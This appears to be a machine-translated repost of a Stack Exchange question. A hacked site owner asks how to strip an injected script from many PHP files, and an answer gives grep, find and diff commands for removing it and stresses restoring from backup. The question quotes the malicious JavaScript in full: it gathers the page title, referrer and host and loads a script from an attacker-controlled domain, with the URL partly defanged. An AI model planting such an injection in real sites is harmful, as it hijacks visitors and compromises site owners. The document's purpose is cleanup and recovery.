替换长文本字符串(带有许多特殊字符的脚本)。sed,awk,grep

乔纳森·内维尔

我的网站被黑/感染了。我替换了恶意链接的url,但是恶意脚本中的其他元素仍使我的网站被阻止。在不插入一百个“转义符”的情况下,如何从网站上的三打文件中删除以下脚本?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

堆栈交换上的其他页面无法回答此问题。

要使用xxxx_hack_was_here等替换恶意网址,我使用了: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

通配符

首先,我同意以上评论:不要sed用来从被黑客攻击中恢复过来。您将永远想知道您是否错过了什么。从备份还原,期间。

但是,您提出的字面问题是,在不出现特殊字符的情况下如何在出现的地方删除长字符串会更容易处理。

我正在从您的问题中做出一些推论/假设,而您实际上并没有直接陈述这些问题:

  1. 要删除的字符串是一行。
  2. 每次发生都是一样的。
  3. 需要删除它,而不用其他东西代替。

如果上述假设正确,请执行以下操作:

  1. 将要删除的字符串(包括任何尾随空格)单独放入文件中,例如hackline.txt将这一级别放在要处理的目录上方
  2. 如果出现错误,请复制整个目录。

    cp -a mydir mydircopy
    
  3. 在目录(或副本)上运行以下循环以删除所有hackline实例:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

这里的概念是将您hackline.txt用作必须与整行匹配的固定字符串的列表,然后grep仅用于获得与该字符串列表匹配的行

-x表示“整行”;-F表示“固定字符串,而不是正则表达式”;-v反转搜索;-f接受文件中的模式列表。

如果您的网站目录是分层目录而不是固定目录(实际上很有可能),则可以使用find而不是for循环:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

然后使用递归diff检查所有内容是否均应满足:

diff -r mydircopy mydir

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

MySQL-通过带有特殊字符的文本字符串搜索数据库

来自分类Dev

Excel VBA搜索长文本字符串的列并替换其中的字符

来自分类Dev

使用awk替换bash中的文本字符串

来自分类Dev

sed命令替换具有特殊字符“&”的字符串

来自分类Dev

带有特殊字符的可替换字符串

来自分类Dev

带有变量的Google脚本字符串

来自分类Dev

带有列表的bash脚本字符串操作

来自分类Dev

sed替换特殊字符串配额

来自分类Dev

sed替换特殊字符串配额

来自分类Dev

将Shell脚本中的字符串替换为具有特殊字符的字符串

来自分类Dev

将Shell脚本中的字符串替换为具有特殊字符的字符串

来自分类Dev

带有特殊字符的字符串

来自分类Dev

如何使用sed替换其中带有“ \”的字符串?

来自分类Dev

使用Sed或Awk替换字符串

来自分类Dev

用sed脚本替换字符串

来自分类Dev

sed:用包含特殊字符的字符串替换文本

来自分类Dev

从字符串中替换歧义/无效的文本字符

来自分类Dev

从字符串中替换歧义/无效的文本字符

来自分类Dev

Perl CLI就地字符串替换/替换带有特殊字符的多行

来自分类Dev

Clojure字符串替换带有文本的地图矢量

来自分类Dev

使用sed命令批量替换字符串的特殊字符

来自分类Dev

使用sed替换包含特殊字符的字符串

来自分类Dev

使用sed查找并替换特殊字符后的字符串

来自分类Dev

sed 用数字特殊字符替换字符串

来自分类Dev

sed 用空格和特殊字符替换字符串

来自分类Dev

如何通过使用sed读取列表来替换文本字符串

来自分类Dev

用Sed替换BASH中的字符串(当它有特殊字符时)

来自分类Dev

Bash / Sed如何将带有特殊字符的字符串插入文件

来自分类Dev

如何使用AWK将带有特殊字符的字符串附加到每行

Related 相关文章

  1. 1

    MySQL-通过带有特殊字符的文本字符串搜索数据库

  2. 2

    Excel VBA搜索长文本字符串的列并替换其中的字符

  3. 3

    使用awk替换bash中的文本字符串

  4. 4

    sed命令替换具有特殊字符“&”的字符串

  5. 5

    带有特殊字符的可替换字符串

  6. 6

    带有变量的Google脚本字符串

  7. 7

    带有列表的bash脚本字符串操作

  8. 8

    sed替换特殊字符串配额

  9. 9

    sed替换特殊字符串配额

  10. 10

    将Shell脚本中的字符串替换为具有特殊字符的字符串

  11. 11

    将Shell脚本中的字符串替换为具有特殊字符的字符串

  12. 12

    带有特殊字符的字符串

  13. 13

    如何使用sed替换其中带有“ \”的字符串?

  14. 14

    使用Sed或Awk替换字符串

  15. 15

    用sed脚本替换字符串

  16. 16

    sed:用包含特殊字符的字符串替换文本

  17. 17

    从字符串中替换歧义/无效的文本字符

  18. 18

    从字符串中替换歧义/无效的文本字符

  19. 19

    Perl CLI就地字符串替换/替换带有特殊字符的多行

  20. 20

    Clojure字符串替换带有文本的地图矢量

  21. 21

    使用sed命令批量替换字符串的特殊字符

  22. 22

    使用sed替换包含特殊字符的字符串

  23. 23

    使用sed查找并替换特殊字符后的字符串

  24. 24

    sed 用数字特殊字符替换字符串

  25. 25

    sed 用空格和特殊字符替换字符串

  26. 26

    如何通过使用sed读取列表来替换文本字符串

  27. 27

    用Sed替换BASH中的字符串(当它有特殊字符时)

  28. 28

    Bash / Sed如何将带有特殊字符的字符串插入文件

  29. 29

    如何使用AWK将带有特殊字符的字符串附加到每行

热门标签

归档